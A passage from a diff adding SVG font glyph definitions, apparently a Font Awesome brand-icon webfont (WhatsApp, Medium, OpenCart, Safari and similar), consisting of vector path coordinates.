-63.5996 40 -63.5996 110.4c0 110.699 101.4 179.1 204 179.1z" /> + <glyph glyph-name="whatsapp" unicode="" +d="M380.9 350.9c41.8994 -42 67.0996 -97.7002 67.0996 -157c0 -122.4 -101.8 -222 -224.1 -222h-0.100586c-37.2002 0 -73.7002 9.2998 -106.1 27l-117.7 -30.9004l31.5 115c-19.4004 33.7002 -29.5996 71.9004 -29.5996 111c0 122.4 99.5996 222 222 222 +c59.2998 0 115.1 -23.0996 157 -65.0996zM223.9 9.2998c101.699 0 186.6 82.7998 186.6 184.601c0.0996094 49.2998 -21.2998 95.5996 -56.0996 130.5c-34.8008 34.8994 -81.1006 54.0996 -130.4 54.0996c-101.8 0 -184.6 -82.7998 -184.6 -184.5 +c0 -34.9004 9.69922 -68.7998 28.1992 -98.2002l4.40039 -7l-18.5996 -68.0996l69.7998 18.2998l6.7002 -4c28.2998 -16.7998 60.7998 -25.7002 94 -25.7002zM325.1 147.5c5.5 -2.7002 9.2002 -4.09961 10.5 -6.59961c1.40039 -2.30078 1.40039 -13.4004 -3.19922 -26.4004 +c-4.60059 -13 -26.7002 -24.7998 -37.4004 -26.4004c-17.5996 -2.59961 -31.4004 -1.2998 -66.5996 13.9004c-55.7002 24.0996 -92 80.0996 -94.8008 83.7998c-2.69922 3.7002 -22.5996 30.1006 -22.5996 57.4004s14.2998 40.7002 19.4004 46.2998 +c5.09961 5.5 11.0996 6.90039 14.7998 6.90039s7.39941 0 10.5996 -0.200195c3.40039 -0.200195 8 1.2998 12.5 -9.5c4.60059 -11.1006 15.7002 -38.4004 17.1006 -41.2002c1.39941 -2.7998 2.2998 -6 0.5 -9.7002c-10.6006 -21.2002 -22 -20.5 -16.3008 -30.2998 +c21.5 -36.9004 42.9004 -49.7002 75.5 -66c5.5 -2.7998 8.80078 -2.2998 12 1.40039c3.30078 3.7998 13.9004 16.1992 17.6006 21.7998c3.7002 5.59961 7.39941 4.7002 12.5 2.7998c5.09961 -1.7998 32.3994 -15.2002 37.8994 -18z" /> + <glyph glyph-name="viacoin" unicode="" horiz-adv-x="384" +d="M384 416l-48 -112h48v-48h-68.5l-13.7998 -32h82.2998v-48h-102.8l-89.2002 -208l-89.2002 208h-102.8v48h82.2998l-13.7998 32h-68.5v48h48l-48 112h64l80.7998 -192h94.5l80.7002 192h64zM192 112l27 64h-54z" /> + <glyph glyph-name="medium" unicode="" +d="M0 416h448v-448h-448v448zM372.2 309.9v5h-83.2002l-59.2998 -147.9l-67.4004 148h-87.2998v-5.09961l28.0996 -33.9004c2.80078 -2.5 4.2002 -6.09961 3.80078 -9.7998v-133c0.799805 -4.7998 -0.700195 -9.7002 -4.10059 -13.2002l-31.5996 -38.2998v-5.10059h89.7998 +v5.10059l-31.5996 38.2998c-3.40039 3.5 -5.10059 8.40039 -4.40039 13.2002v115l78.7002 -171.601h9.09961l67.6006 171.601v-136.9c0 -3.59961 0 -4.2998 -2.40039 -6.7002l-24.2998 -23.5996v-4.90039h118v5.10059l-23.5 23 +c-2.10059 1.5 -3.10059 4.09961 -2.7002 6.7002v169.3c-0.400391 2.5 0.599609 5.09961 2.7002 6.7002z" /> + <glyph glyph-name="y-combinator" unicode="" +d="M448 416v-448h-448v448h448zM236 160.5l77.5 145.5h-32.7002l-45.7998 -91c-4.7002 -9.2998 -9 -18.2998 -12.7998 -26.7998l-12.2002 26.7998l-45.2002 91h-35l76.7002 -143.8v-94.5h29.5v92.7998z" /> + <glyph glyph-name="optin-monster" unicode="" horiz-adv-x="576" +d="M572.6 26.5996c1 -3.5 1.90039 -7 1.7002 -10.6992c0.799805 -31.6006 -44.2998 -64 -73.5 -65.1006c-17.2998 -0.799805 -34.5996 8.40039 -42.7002 23.5c-113.5 -4.09961 -227 -4.89941 -340.199 0c-8.40039 -15.0996 -25.7002 -24 -43 -23.5 +c-28.9004 1.10059 -74 33.5 -73.5 65.1006c0.299805 3.7998 0.799805 7.2998 1.89941 10.7998c-5.59961 9.39941 -4.7998 15.2998 5.40039 11.5996c3.2998 5.2002 7 9.5 11.0996 13.7998c-2.5 10.9004 1.2998 14.1006 11.1006 9.2002c4.5 3.2998 10 6.5 15.8994 9.2002 +c0 15.7998 11.7998 11.2002 17.2998 5.7002c12.5 1.7998 20.2002 -0.700195 26.8008 -5.7002v19.7002c-12.9004 0 -40.6006 11.3994 -45.9004 36.2002c-5 20.7998 2.59961 38.0996 25.0996 47.5996c0.800781 5.90039 8.10059 14 14.9004 15.9004 +c7.59961 1.89941 12.5 -4.60059 14.0996 -10.3008c7.40039 0 17.8008 -1.5 21.1006 -8.09961c5.39941 0.5 11.0996 1.40039 16.5 1.90039c-2.40039 1.89941 -5.10059 3.5 -8.10059 4.59961c-5.09961 8.90039 -13.7998 11.0996 -24.5996 11.5996 +c0 0.800781 0 1.60059 0.299805 2.7002c-19.7998 0.5 -44.0996 5.60059 -54.8994 17.7998c-21.3008 23.6006 -15.9004 83.6006 12.1992 103.5c8.40039 5.7002 21.6006 0.800781 22.7002 -9.69922c2.40039 -20.6006 0.400391 -26.8008 26.2002 -25.9004 +c8.09961 7.7998 16.7998 14.5996 26.5 20c-14.9004 1.2998 -28.9004 -1.59961 -43.7998 -3.7998c12.7002 12.5 23.8994 25.3994 56.7002 42.3994c23.5 11.9004 50 20.8008 76.1992 23.2002c-18.5996 7.90039 -40 11.9004 -59.6992 16.5 +c76.5 16.2002 174.6 22.1006 244.199 -37.5996c18.1006 -15.4004 32.4004 -36.2002 42.7002 -60c39.7998 -4.90039 36.4004 5.5 38.6006 25.0996c1.09961 10.2998 14.2998 15.4004 22.6992 9.5c14.9004 -10.5 22.2002 -30.7998 24.6006 -48.0996 +c2.2002 -17.7998 0.299805 -41.2998 -12.4004 -55.1006c-10.7998 -12.1992 -34.2998 -17.5996 -53.7998 -18.0996v-2.7998c-11.0996 -0.200195 -20.2998 -2.40039 -25.7002 -11.6006c-3 -1.09961 -5.7002 -2.69922 -8.39941 -4.59961 +c5.69922 -0.5 11.3994 -1.40039 16.7998 -1.90039c1.89941 5.60059 12.5996 8.40039 21.0996 8.40039c1.7002 5.40039 6.7998 11.9004 14.1006 10.2998c7.2998 -1.59961 14.0996 -10 14.8994 -15.8994c10.7998 -4.40039 22.1006 -12.2002 25.1006 -25.7002 +c1.89941 -8.10059 1.69922 -15.1006 0.299805 -21.9004c-5.7002 -25.2002 -33.2998 -36.2002 -45.9004 -36.2002c0 -6.69922 0 -13.1992 -0.299805 -19.6992c8.09961 6 16.4004 7.19922 26.7998 5.69922c6 5.90039 17.6006 9.40039 17.6006 -5.69922 +c5.59961 -2.7002 11.2998 -6 15.8994 -9.2002c10.1006 5 13.7002 0.5 10.7998 -9.2002c4.10059 -4.2998 8.10059 -8.90039 11.1006 -13.7998c10.0996 3.59961 11 -2.10059 5.39941 -11.6006zM498.8 280.6c17.2998 -6.69922 26.2002 -22.0996 30.2998 -35.6992 +c1.10059 10.5996 -2.69922 39.5 -13.7998 51.0996c-7.2998 7.2998 -14.0996 5.09961 -14.0996 -0.799805c0 -6.2002 -1.2998 -11.6006 -2.40039 -14.6006zM494.2 273.9c-3.2002 -3.30078 -9.2002 -4.90039 -14.1006 -5.7002c13 -15.7002 17 -41.7002 12.7002 -63 +c10.7998 2.2002 20.5 6.2998 26.2002 12.2002c1.90039 2.19922 3.7998 4.89941 4.90039 7.59961c-1.10059 21.2998 -10.2002 42.7002 -29.7002 48.9004zM470.1 267.1c-3.69922 0 -8.09961 0 -11.7998 0.300781c7.5 -20.6006 12.4004 -42.7002 14.2998 -64.6006 +c3.5 0 7.5 0.299805 11.6006 0.799805c5.89941 24.3008 -0.299805 51.6006 -14.1006 63.5zM47.5 245c4.09961 13.5 13 28.9004 30.2998 35.7002c-1 3 -2.39941 8.39941 -2.39941 14.5996c0 5.90039 -7.10059 8.10059 -14.1006 0.799805 +c-11.3994 -11.5996 -14.8994 -40.5996 -13.7998 -51.0996zM57.2002 217.4c5.7002 -6.2002 15.3994 -10 26.2002 -12.2002c-4.30078 21.3994 -0.300781 47.2998 12.6992 63c-4.89941 0.799805 -10.8994 2.5 -14.0996 5.7002 +c-19.4004 -6.2002 -28.2998 -27.6006 -29.7002 -48.9004c1.40039 -2.7002 3 -5.40039 4.90039 -7.59961zM105.1 202.8c2.40039 22.2002 9.10059 43.7998 19.8008 63.5c-5.2002 -1.09961 -10 -3 -14.9004 -4.89941l-12.2002 -5.10059v0.299805 +c-7.2998 -14.0996 -10 -34.3994 -5.39941 -53c4.59961 -0.5 8.59961 -0.799805 12.6992 -0.799805zM289.1 365.5c-41.8994 0 -76.1992 -34.0996 -76.1992 -75.9004c0 -42.1992 34.2998 -76.1992 76.1992 -76.1992c41.9004 0 76.2002 34 76.2002 76.1992 +c0 41.9004 -34.2998 75.9004 -76.2002 75.9004zM404.7 191.2c-12.9004 0.799805 -26.2002 0.799805 -39.5 1.09961c10 -50.5996 3.2998 -64.7002 16.5 -58.0996c16 8.09961 22.7002 39.2002 23 57zM350.7 192.8c-18.9004 0.299805 -38.1006 0.299805 -57 0v0.299805 +c-0.299805 -5.19922 0.200195 -38.0996 4.2998 -41.0996c11.0996 -5.40039 39.5 -4.59961 51.0996 -1.09961c5.40039 1.59961 2.40039 37 1.60059 41.8994zM278.3 139c4.60059 2.5 2.40039 45.4004 1.2998 53.7002v0.299805 +c-19.3994 -0.299805 -38.5996 -0.299805 -57.7998 -0.799805c-1.89941 -9.2002 -4.59961 -48.9004 1.90039 -51.6006c13 -5.69922 41.5996 -5.09961 54.5996 -1.59961zM171.8 190.1c-5.39941 -19.6992 0.299805 -45.0996 22.2002 -54.8994 +c5.40039 -2.5 8.59961 -2.5 9.7002 4.2998c1.89941 8.7002 2.5 36.7998 4.89941 52.2002c-12.1992 -0.200195 -24.5996 -0.799805 -36.7998 -1.60059zM136.4 158.8c2.39941 -3.7002 1.59961 -9.09961 -8 -12.5c43.7998 -47 92.6992 -85.7002 155.899 -106.5 +c67.5 19.2002 115.601 60 163.2 107c-11.0996 4.2998 -7.7002 10.2998 -7.2998 11.6006c-8.90039 0.799805 -17.9004 1.89941 -26.5 2.69922c-9.5 -33 -36 -52.8994 -46.7998 -31.5996c-2.7002 5.2002 -3.5 11.7002 -4.60059 16.7998 +c-3.7998 -8.39941 -13.2998 -8.09961 -24.5996 -8.89941c-13.2002 -1.10059 -31.6006 -1.30078 -44 3c-3 -12.9004 -11.1006 -12.9004 -26.7998 -14.3008c-14.1006 -1.39941 -48.7002 -4.09961 -54.9004 10.8008c-1.09961 -28.7002 -35.0996 -10 -45.0996 7 +c-3.2002 5.69922 -5.40039 11.3994 -7 17.5996c-7.80078 -0.799805 -15.7002 -1.59961 -23.5 -2.7002zM114.8 -13.7002c0.5 2.5 0.799805 5.2002 0.799805 8.2002c-5.69922 23.2002 -18.5996 49.7002 -33.5 54c-22.3994 6.7002 -68.8994 -23.5 -66.1992 -54.5996 +c12.6992 -19.5 40 -35.7002 59.1992 -36.5c17.8008 -0.800781 35.9004 11.0996 39.7002 28.8994zM106.1 52.2998c9 -16 15.5 -33.2998 16.7002 -51.8994c33.5 19.3994 69.1006 35.6992 105.9 47c-38.7002 20.5 -68.1006 47.7998 -97.2998 77 +c-2.10059 -1.30078 -5.10059 -2.40039 -7.80078 -3.5c-1.59961 -4.90039 8.7002 -5.30078 5.40039 -12.4004c-2.09961 -4.09961 -8.59961 -7.59961 -15.0996 -9.2002c-2.10059 -2.7002 -5.10059 -4.89941 -7.80078 -6.5h-0.299805 +c-0.200195 -13.5 -0.200195 -27 0.299805 -40.5zM443.7 -12.2998c-36.7998 21.2998 -74.1006 41.2998 -115.601 53c-13.7998 -6.2002 -27.8994 -11.2998 -42.1992 -15.4004c-2.10059 -0.799805 -2.10059 -0.799805 -4.30078 0 +c-11.8994 3.7002 -23.2998 8.10059 -34.8994 13.2002c-40.2002 -11.5996 -77.2998 -29.2002 -112.4 -50.7998h-0.299805v-0.299805c0.299805 0 0.299805 0 0.299805 0.299805c103.2 -4.10059 206.4 -3.5 309.4 0zM454.2 0.0996094c1 14.7002 7.2002 35.8008 16.5 51.7002 +l-0.299805 -0.299805c0.5 13.7002 0.799805 27.5 0.799805 41.2998c-3 1.7002 -5.7002 4.10059 -8.10059 6.7998c-6.5 1.30078 -12.8994 5.10059 -15.0996 8.90039c-1.90039 4.09961 1.2998 7.59961 5.90039 10.2998c-0.200195 0.5 -0.5 1.60059 -0.5 2.40039 +c-3 0.799805 -5.40039 1.7998 -7.60059 3.2002c-31.5996 -29.4004 -65.3994 -56.7002 -103.5 -76.7002c38.9004 -11.7002 76 -28.1006 111.9 -47.6006zM560.1 -6.09961c3 31.0996 -43.5 61.3994 -66.1992 54.5c-14.6006 -4.30078 -27.8008 -30.8008 -33.5 -54 +c0 -23.8008 21.1992 -37.9004 40.5 -37c19.1992 0.799805 46.5 17 59.1992 36.5zM372.9 372.8c-35.7002 39.2002 -81.4004 47.7998 -126 23.5c25.1992 56.2002 122.199 48.6006 126 -23.5zM74.7998 40.9004c14.9004 1.89941 24.6006 -19.2002 18.6006 -30.8008 +c-4.80078 -9.69922 -23.7002 -24.0996 -35.9004 -27.2998c-16.5 -4.59961 -32.2002 3.2998 -32.2002 14.9004c0 17.7998 33.7998 41.5996 49.5 43.2002zM290.7 217.1c-30.9004 0 -57.6006 25.7002 -50.2998 59.8008c13.1992 -20.7002 46.5 -12 46.5 11.2998 +c0 10 -7 18.5996 -16.5 21.5996c31.6992 13.7998 72.1992 -8.2002 72.1992 -44.2998c0 -26.7998 -23.2998 -48.4004 -51.8994 -48.4004zM68 -26.0996c-0.5 8.39941 20.2998 23.5 29.2002 25.0996c8.59961 1.59961 12.7002 -11.4004 9.7002 -18.4004 +c-2.7002 -5.69922 -10.5 -13.5 -17.3008 -16.1992c-9.39941 -3.2002 -21.0996 3 -21.5996 9.5zM501.2 40.9004c15.7002 -1.60059 49.5 -25.4004 49.5 -43.2002c0 -11.7002 -15.7002 -19.5 -32.2002 -14.9004c-12.0996 3.2002 -31.2998 17.6006 -36.2002 27.2998 +c-5.7002 11.6006 4 32.7002 18.9004 30.8008zM478.8 -1c8.90039 -1.59961 30 -16.7002 29.1006 -25.0996c-0.200195 -6.5 -12.1006 -12.7002 -21.3008 -9.5c-7 2.69922 -14.8994 10.5 -17.2998 16.1992c-2.89941 7.10059 1.10059 20 9.5 18.4004z" /> + <glyph glyph-name="opencart" unicode="" horiz-adv-x="640" +d="M423.3 7.2998c0 -25.2998 -20.2998 -45.5996 -45.5996 -45.5996s-45.7998 20.2998 -45.7998 45.5996s20.5996 45.7998 45.7998 45.7998c25.3994 0 45.5996 -20.5 45.5996 -45.7998zM169.4 53.0996c25.2998 0 45.7998 -20.5 45.7998 -45.7998 +s-20.5 -45.5996 -45.7998 -45.5996c-25.3008 0 -45.6006 20.3994 -45.6006 45.5996s20.2998 45.7998 45.6006 45.7998zM461.1 323.1c302.2 0 169.5 -67.1992 -17.1992 -233.899c59.1992 102.8 262.5 193.899 -70.8008 188.899c-319.8 -4.69922 -338.699 92.5 -373.1 144.2 +c81.9004 -86.3994 158.9 -99.2002 461.1 -99.2002z" /> + <glyph glyph-name="expeditedssl" unicode="" horiz-adv-x="496" +d="M248 404.6c117.4 0 212.6 -95.1992 212.6 -212.6s-95.1992 -212.6 -212.6 -212.6s-212.6 95.1992 -212.6 212.6s95.1992 212.6 212.6 212.6zM150.6 271.7h-0.199219v-26.6006c0 -5 3.89941 -8.89941 8.89941 -8.89941h17.7002c5 0 8.90039 3.89941 8.90039 8.89941 +v26.6006c0 82.0996 124 82.0996 124 0v-26.6006c0 -5 3.89941 -8.89941 8.89941 -8.89941h17.7002c5 0 8.90039 3.89941 8.90039 8.89941v26.6006c0 53.7002 -43.7002 97.3994 -97.4004 97.3994s-97.4004 -43.6992 -97.4004 -97.3994zM389.7 68v141.7 +c0 9.7002 -8 17.7002 -17.7002 17.7002h-248c-9.7002 0 -17.7002 -8 -17.7002 -17.7002v-141.7c0 -9.7002 8 -17.7002 17.7002 -17.7002h248c9.7002 0 17.7002 8 17.7002 17.7002zM141.7 205.3v-132.899c0 -2.5 -1.90039 -4.40039 -4.40039 -4.40039h-8.89941 +c-2.5 0 -4.40039 1.90039 -4.40039 4.40039v132.899c0 2.5 1.90039 4.40039 4.40039 4.40039h8.89941c2.5 0 4.40039 -1.90039 4.40039 -4.40039zM283.4 156.6c0 -13 -7.2002 -24.3994 -17.7002 -30.3994v-31.6006c0 -5 -3.90039 -8.89941 -8.90039 -8.89941h-17.7002 +c-5 0 -8.89941 3.89941 -8.89941 8.89941v31.6006c-10.5 6.09961 -17.7002 17.3994 -17.7002 30.3994c0 19.7002 15.7998 35.4004 35.4004 35.4004c19.5996 0 35.5 -15.7998 35.5 -35.4004zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248 +s111 248 248 248zM248 -38.2998c127 0 230.3 103.3 230.3 230.3s-103.3 230.3 -230.3 230.3s-230.3 -103.3 -230.3 -230.3s103.3 -230.3 230.3 -230.3z" /> + <glyph glyph-name="cc-jcb" unicode="" horiz-adv-x="576" +d="M431.5 203.7v32.2998c41.2002 0 38.5 -0.200195 38.5 -0.200195c7.2998 -1.2998 13.2998 -7.2998 13.2998 -16c0 -8.7998 -6 -14.5 -13.2998 -15.7998c-1.2002 -0.400391 -3.2998 -0.299805 -38.5 -0.299805zM474.3 183.5c7.5 -1.5 13.5 -8.2998 13.5 -17 +c0 -9 -6 -15.5 -13.5 -17c-2.7998 -0.700195 -3.2002 -0.5 -42.7998 -0.5v35c39.5 0 40 0.200195 42.7998 -0.5zM576 368v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48zM182 255.7h-57 +c0 -67.1006 10.7002 -109.7 -35.7998 -109.7c-19.5 0 -38.7998 5.7002 -57.2002 14.7998v-28c30 -8.2998 68 -8.2998 68 -8.2998c97.9004 0 82 47.7002 82 131.2zM360.5 251.2c-63.4004 16 -165 14.8994 -165 -59.2998c0 -77.1006 108.2 -73.6006 165 -59.2002v28.2998 +c-47.5996 -24.7002 -107.5 -22 -107.5 31s59.7998 55.5996 107.5 31.2002v28zM544 161.5c0 18.5 -16.5 30.5 -38 32v0.799805c19.5 2.7002 30.2998 15.5 30.2998 30.2002c0 19 -15.7002 30 -37 31c0 0 6.2998 0.299805 -120.3 0.299805v-127.5h122.7 +c24.2998 -0.0996094 42.2998 12.9004 42.2998 33.2002z" /> + <glyph glyph-name="cc-diners-club" unicode="" horiz-adv-x="576" +d="M239.7 368.1c97.2002 0 175.8 -78.5996 175.8 -175.8c0 -96.8994 -78.5996 -175.8 -175.8 -175.8c-96.9004 0 -175.8 78.9004 -175.8 175.8c0 97.2002 78.8994 175.8 175.8 175.8zM199.8 88.5v207.9c-41.7002 -16.2002 -71.3994 -56.7002 -71.3994 -104.101 +c0 -47.3994 29.6992 -87.8994 71.3994 -103.8zM279.6 88.2002c41.7002 16.2002 71.4004 56.7002 71.4004 104.1c0 47.4004 -29.7002 87.9004 -71.4004 104.101v-208.2zM528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352 +c0 26.5 21.5 48 48 48h480zM329.7 0c105 0 200.7 85.5 200.7 190.2c0 114.6 -95.7002 193.8 -200.7 193.8h-90.2998c-106.2 0 -193.801 -79.2002 -193.801 -193.8c0 -104.7 87.6006 -190.2 193.801 -190.2h90.2998z" /> + <glyph glyph-name="creative-commons" unicode="" horiz-adv-x="496" +d="M245.83 233.13l-33.2197 -17.2803c-9.43066 19.5801 -25.2402 19.9307 -27.46 19.9307c-22.1309 0 -33.2207 -14.6104 -33.2207 -43.8398c0 -23.5703 9.20996 -43.8408 33.2207 -43.8408c14.4697 0 24.6494 7.09082 30.5693 21.2607l30.5498 -15.5 +c-6.16992 -11.5107 -25.6895 -38.9805 -65.0996 -38.9805c-22.5996 0 -73.96 10.3203 -73.96 77.0498c0 58.6904 43 77.0605 72.6299 77.0605c30.7197 0.00976562 52.7002 -11.9502 65.9902 -35.8604zM388.88 233.13l-32.7803 -17.2803 +c-9.5 19.7705 -25.7197 19.9307 -27.8994 19.9307c-22.1406 0 -33.2197 -14.6104 -33.2197 -43.8398c0 -23.5508 9.22949 -43.8408 33.2197 -43.8408c14.4502 0 24.6494 7.09082 30.54 21.2607l31 -15.5c-2.10059 -3.75 -21.3906 -38.9805 -65.0898 -38.9805 +c-22.6904 0 -73.96 9.87012 -73.96 77.0498c0 58.6699 42.9697 77.0605 72.6299 77.0605c30.71 0.00976562 52.5801 -11.9502 65.5596 -35.8604zM247.56 439.95c141.82 0 248.44 -110.13 248.44 -248c0 -147.13 -118.51 -248 -248.44 -248 +c-133.96 0 -247.56 109.51 -247.56 248c0 132.939 104.74 248 247.56 248zM248.43 -10.8604c103.16 0 202.83 81.1299 202.84 202.82c0 113.8 -90.2891 203.26 -202.819 203.26c-118.29 0 -203.72 -97.8496 -203.72 -203.27c0 -109.771 91.1592 -202.811 203.699 -202.811z +" /> + <glyph glyph-name="gg" unicode="" horiz-adv-x="512" +d="M179.2 217.6l102.399 -102.399l-102.399 -102.4l-179.2 179.2l179.2 179.2l44.7998 -44.7998l-25.5996 -25.6006l-19.2002 19.2002l-128 -128l128 -128l51.5 51.5l-77.1006 76.5zM332.8 371.2l179.2 -179.2l-179.2 -179.2l-44.7998 44.7998l25.5996 25.6006 +l19.2002 -19.2002l128 128l-128 128l-51.5 -51.5l77.1006 -76.5l-25.6006 -25.5996l-102.399 102.399z" /> + <glyph glyph-name="gg-circle" unicode="" horiz-adv-x="512" +d="M257 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM207.5 65.2002l75 75.2002l-77.2002 77.1992l-24.3994 -24.3994l53.0996 -52.9004l-26.5996 -26.5996l-77.2002 77.2002l77.2002 77.1992l11.0996 -11.0996l24.2002 24.2002 +l-35.2002 35.3994l-125.7 -125.699zM306.5 67.4004l125.7 125.6l-125.7 125.7l-75 -75l77.2002 -77.2002l24.3994 24.4004l-53.0996 52.8994l26.5 26.5l77.2002 -77.2002l-77.2002 -77.1992l-11.0996 11.0996l-24.1006 -24.4004z" /> + <glyph glyph-name="odnoklassniki" unicode="" horiz-adv-x="320" +d="M275.1 114c-27.3994 -17.4004 -65.0996 -24.2998 -90 -26.9004l20.9004 -20.5996l76.2998 -76.2998c27.9004 -28.6006 -17.5 -73.2998 -45.7002 -45.7002c-19.0996 19.4004 -47.0996 47.4004 -76.2998 76.5996l-76.2998 -76.5 +c-28.2002 -27.5 -73.5996 17.6006 -45.4004 45.7002c19.4004 19.4004 47.1006 47.4004 76.3008 76.2998l20.5996 20.6006c-24.5996 2.59961 -62.9004 9.09961 -90.5996 26.8994c-32.6006 21 -46.9004 33.3008 -34.3008 59c7.40039 14.6006 27.7002 26.9004 54.6006 5.7002 +c0 0 36.2998 -28.8994 94.8994 -28.8994c58.6006 0 94.9004 28.8994 94.9004 28.8994c26.9004 21.1006 47.0996 8.90039 54.5996 -5.7002c12.4004 -25.6992 -1.89941 -38 -34.5 -59.0996zM30.2998 318.3c0 71.7002 58.2998 129.7 129.7 129.7s129.7 -58 129.7 -129.7 +c0 -71.3994 -58.2998 -129.399 -129.7 -129.399s-129.7 58 -129.7 129.399zM96.2998 318.3c0 -35.0996 28.6006 -63.7002 63.7002 -63.7002s63.7002 28.6006 63.7002 63.7002c0 35.4004 -28.6006 64 -63.7002 64s-63.7002 -28.5996 -63.7002 -64z" /> + <glyph glyph-name="odnoklassniki-square" unicode="" +d="M184.2 270.9c0 22.0996 17.8994 40 39.7998 40s39.7998 -17.9004 39.7998 -40c0 -22 -17.8994 -39.8008 -39.7998 -39.8008s-39.7998 17.9004 -39.7998 39.8008zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352 +c26.5 0 48 -21.5 48 -48zM142.9 270.9c0 -44.6006 36.3994 -80.9004 81.0996 -80.9004s81.0996 36.2002 81.0996 80.9004c0 44.7998 -36.3994 81.0996 -81.0996 81.0996s-81.0996 -36.2002 -81.0996 -81.0996zM317.4 180.2 +c-4.60059 9.09961 -17.3008 16.7998 -34.1006 3.59961c0 0 -22.7002 -18 -59.2998 -18s-59.2998 18 -59.2998 18c-16.7998 13.2002 -29.5 5.5 -34.1006 -3.59961c-7.89941 -16.1006 1.10059 -23.7002 21.4004 -37c17.2998 -11.1006 41.2002 -15.2002 56.5996 -16.7998 +l-12.8994 -12.9004c-18.2002 -18 -35.5 -35.5 -47.7002 -47.7002c-17.5996 -17.5996 10.7002 -45.7998 28.4004 -28.5996l47.6992 47.8994c18.2002 -18.1992 35.7002 -35.6992 47.7002 -47.8994c17.6006 -17.2002 46 10.7002 28.6006 28.5996l-47.7002 47.7002l-13 12.9004 +c15.5 1.59961 39.0996 5.89941 56.2002 16.7998c20.3994 13.2998 29.2998 21 21.5 37z" /> + <glyph glyph-name="get-pocket" unicode="" +d="M407.6 384c22.7002 0 40.4004 -18.2002 40.4004 -40.5996v-135.2c0 -124.7 -99.7998 -224.2 -223.8 -224.2c-124.5 0 -224.2 99.5 -224.2 224.2v135.2c0 22.0996 18.5 40.5996 40.5996 40.5996h367zM245.6 115.5c111.9 107.5 114.801 105.4 114.801 123.2 +c0 16.8994 -13.8008 30.7002 -30.7002 30.7002c-16.9004 0 -14.9004 -2.40039 -105.5 -89.3008c-89.1006 85.5 -88.2002 89.3008 -105.2 89.3008c-16.9004 0 -30.7002 -13.8008 -30.7002 -30.7002c0 -18.1006 1.2002 -14.2998 114.9 -123.2 +c11 -11.0996 30 -11.7998 42.3994 0z" /> + <glyph glyph-name="wikipedia-w" unicode="" horiz-adv-x="640" +d="M640 396.8l-0.299805 -12.2002c-28.1006 -0.799805 -45 -15.7998 -55.7998 -40.2998c-25 -57.7998 -103.301 -240 -155.301 -358.6h-13.5996l-81.9004 193.1c-32.5 -63.5996 -68.2998 -130 -99.1992 -193.1c-0.300781 -0.299805 -15 0 -15 0.299805 +c-46.9004 109.7 -96.1006 218.6 -143.101 328.6c-11.3994 26.7002 -49.3994 70 -75.5996 69.7002c0 3.10059 -0.299805 10 -0.299805 14.2002h161.899v-13.9004c-19.2002 -1.09961 -52.7998 -13.2998 -43.2998 -34.1992c21.9004 -49.7002 103.6 -240.301 125.6 -288.601 +c15 29.7002 57.8008 109.2 75.3008 142.8c-13.9004 28.3008 -58.6006 133.9 -72.8008 160c-9.69922 17.8008 -36.0996 19.4004 -55.7998 19.7002v13.9004l142.5 -0.299805v-13.1006c-19.3994 -0.599609 -38.0996 -7.7998 -29.3994 -26.0996 +c18.8994 -40 30.5996 -68.1006 48.0996 -104.7c5.59961 10.7998 34.7002 69.4004 48.0996 100.8c8.90039 20.6006 -3.89941 28.6006 -38.5996 29.4004c0.299805 3.59961 0 10.2998 0.299805 13.5996c44.4004 0.299805 111.101 0.299805 123.101 0.600586v-13.6006 +c-22.5 -0.799805 -45.8008 -12.7998 -58.1006 -31.7002l-59.2002 -122.8c6.40039 -16.0996 63.3008 -142.8 69.2002 -156.7l122.4 282.601c-8.60059 23.0996 -36.4004 28.0996 -47.2002 28.2998v13.9004l127.8 -1.10059z" /> + <glyph glyph-name="safari" unicode="" horiz-adv-x="512" +d="M274.69 173.31l-108.69 -71.3096l71.3096 108.69zM256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM411.85 265.21c-2.88672 -1.20801 -4.9082 -4.0625 -4.9082 -7.38574c0 -1.08496 0.21582 -2.12012 0.608398 -3.06445v0 +c1.20215 -2.90039 4.06348 -4.93457 7.39648 -4.93457c1.08105 0 2.1123 0.214844 3.05371 0.604492l14.75 6.11035c2.90234 1.20117 4.93848 4.06348 4.93848 7.39746c0 1.08496 -0.216797 2.11914 -0.608398 3.0625v0c-1.2002 2.90527 -4.06348 4.94336 -7.39941 4.94336 +c-1.08008 0 -2.11035 -0.214844 -3.05078 -0.603516zM314.43 354c-0.396484 -0.949219 -0.625 -1.99219 -0.625 -3.08496c0 -3.33398 2.04395 -6.19336 4.94531 -7.39551v0c0.941406 -0.388672 1.97461 -0.613281 3.05566 -0.613281 +c3.33301 0 6.19238 2.04297 7.39453 4.94336l6.12988 14.7803c0.389648 0.941406 0.613281 1.97461 0.613281 3.05566c0 3.33301 -2.04297 6.19238 -4.94336 7.39453v0c-0.944336 0.392578 -1.98047 0.618164 -3.06641 0.618164 +c-3.32324 0 -6.17578 -2.03125 -7.38379 -4.91797zM256 388c-4.41504 0 -8 -3.58496 -8 -8v-16c0 -4.41504 3.58496 -8 8 -8v0c4.41504 0 8 3.58496 8 8v16c0 4.41504 -3.58496 8 -8 8v0zM181 373.08c-2.89941 -1.20215 -4.93262 -4.0625 -4.93262 -7.39551 +c0 -1.06934 0.210938 -2.09082 0.592773 -3.02441l6.12988 -14.7803c1.16504 -2.97754 4.05762 -5.07812 7.44531 -5.07812c4.41602 0 8 3.58496 8 8c0 1.13672 -0.237305 2.21875 -0.665039 3.19824l-6.11035 14.75c-1.20117 2.90234 -4.06348 4.93848 -7.39746 4.93848 +c-1.08496 0 -2.11914 -0.216797 -3.0625 -0.608398zM117.42 330.59c-1.44727 -1.44824 -2.35254 -3.44922 -2.35254 -5.65625c0 -2.19141 0.883789 -4.17773 2.3125 -5.62402l11.3105 -11.3096c1.44727 -1.44727 3.44922 -2.34277 5.65527 -2.34277 +c2.20703 0 4.20605 0.895508 5.6543 2.34277v0c1.43848 1.44629 2.32715 3.44238 2.32715 5.6416c0 2.19824 